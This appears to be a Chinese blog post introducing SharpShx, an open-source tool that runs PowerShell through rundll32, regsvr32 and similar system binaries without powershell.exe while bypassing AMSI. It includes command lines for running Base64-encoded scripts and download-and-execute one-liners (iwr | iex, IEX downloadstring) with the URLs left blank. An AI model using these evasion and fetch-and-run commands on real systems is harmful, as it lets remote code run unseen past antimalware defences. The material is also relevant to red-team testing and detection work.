探索SharpShx：突破限制的PowerShell执行工具

admin 2个月前 (01-21) 阅读数 43 #开源软件项目

在网络安全和系统管理领域，PowerShell作为一种强大的命令行脚本语言，其灵活性和多功能性使其成为许多专业人士的首选工具。然而，传统的PowerShell执行方式存在一些限制和安全隐患。今天，我们将深入探讨一个开源项目——SharpShx，它提供了一种新的方法来执行PowerShell脚本，同时具备绕过安全机制的能力。

## 项目介绍

SharpShx是一个使用DLL或独立可执行文件进行未托管PowerShell执行的开源项目。它是基于PowerShdll项目的重写和扩展，旨在提供绕过AMSI（反恶意软件接口）和运行PS Cmdlets的功能。

## 项目及技术应用场景

SharpShx的核心功能使其在以下场景中特别有用：
- 需要绕过安全检测执行PowerShell脚本的安全测试。
- 在受限环境中执行PowerShell脚本，例如在没有安装PowerShell.exe的环境中。
- 系统管理员需要在不依赖传统PowerShell执行路径的情况下执行脚本。

## 核心功能解析

SharpShx的主要特点包括：
- 使用rundll32.exe、installutil.exe、regsvcs.exe或regasm.exe、regsvr32.exe等工具通过DLL运行PowerShell。
- 不使用powershell.exe或powershell_ise.exe运行PowerShell。
- 提供AMSI绕过功能。
- 直接从命令行或PowerShell文件运行脚本。
- 导入PowerShell模块并执行Cmdlets。

## 安装与配置指南

在使用SharpShx之前，需要确保系统中安装了.NET 4框架。以下是几种使用SharpShx的方式：

### DLL版本使用

- 使用rundll32运行PowerShell脚本：
  ```bash
  rundll32 PowerShx.dll,main -e <PS script to run>
  ```

- 使用rundll32运行脚本文件：
  ```bash
  rundll32 PowerShx.dll,main -f <path>
  ```

- 使用rundll32加载脚本并运行特定Cmdlet：
  ```bash
  rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>
  ```

### EXE版本使用

- 启动交互式控制台：
  ```bash
  PowerShx.exe -i
  ```

- 运行PowerShell脚本：
  ```bash
  PowerShx.exe -e <PS script to run>
  ```

## 实战案例分析

以下是几个使用SharpShx的实战案例：

### 运行Base64编码的脚本

- 使用rundll32：
  ```bash
  rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
  ```

- 使用exe版本：
  ```bash
  PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
  ```

### 使用Web资源执行脚本

- 使用rundll32：
  ```bash
  rundll32 PowerShx.dll,main . { iwr -useb  } ^| iex;
  ```

- 使用exe版本：
  ```bash
  PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring(''))"
  ```

## 常见问题解答

- **为什么我的命令没有输出？** 确保你的命令拼写正确。在某些错误情况下，输出可能不会显示。
- **在DLL模式下为什么交互式模式和命令输出有问题？** 如果父进程没有控制台，使用`-n`开关来避免显示输出，否则应用程序可能会崩溃。

## 发展历程与未来展望

SharpShx作为一个不断发展的项目，其未来展望包括进一步增强AMSI绕过功能，提高脚本执行的稳定性，以及增加对更多PowerShell功能的支持。随着网络安全形势的变化，SharpShx将继续为用户提供一种更安全、更灵活的PowerShell执行方式。

版权声明

本文版权归开源软件库所有，未得允许禁止转裁。

上一篇：探秘KernelBypassSharp：C 实现内核模式驱动程序的秘密武器下一篇： Hawk：开源ETL与爬虫流引擎的深度解析